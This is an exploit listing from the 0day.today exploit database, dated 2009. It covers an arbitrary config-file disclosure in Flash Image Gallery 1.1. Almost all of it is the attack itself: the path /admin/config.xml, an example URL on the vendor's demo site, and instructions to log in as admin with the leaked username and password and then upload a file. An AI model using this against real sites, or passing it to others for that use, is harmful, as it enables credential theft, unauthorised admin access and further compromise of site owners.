[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Flash Image Gallery 1.1 Arbitrary Config File Disclosure Vulnerability

Author
DarkbiteX
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-5255
Category
web applications
Date add
25-05-2009
Platform
unsorted
======================================================================
Flash Image Gallery 1.1 Arbitrary Config File Disclosure Vulnerability
======================================================================


#########################################################################################
[0x01] Informations:

Script         : Flash Image Gallery 1.1 and maybe last version
Download       : http://www.flashimagegallery.com/download/fig_116_admin_110.zip
Vulnerability  : Sensitive Data Disclosure
Author         : DarkbiteX

########################################################################################
Bug:[Sensitive Data Disclosure]
########################################################################################

[!] EXPLOIT: /[path]/admin/config.xml
EXAMPLE: http://www.flashimagegallery.com/demo/gallery/admin/config.xml
                 and paste de user and pass http://www.flashimagegallery.com/demo/gallery/admin/
                
                 Use Of The Imagination and UPLOAD your archive ;) 
#########################################################################################



#  0day.today [2024-05-20]  #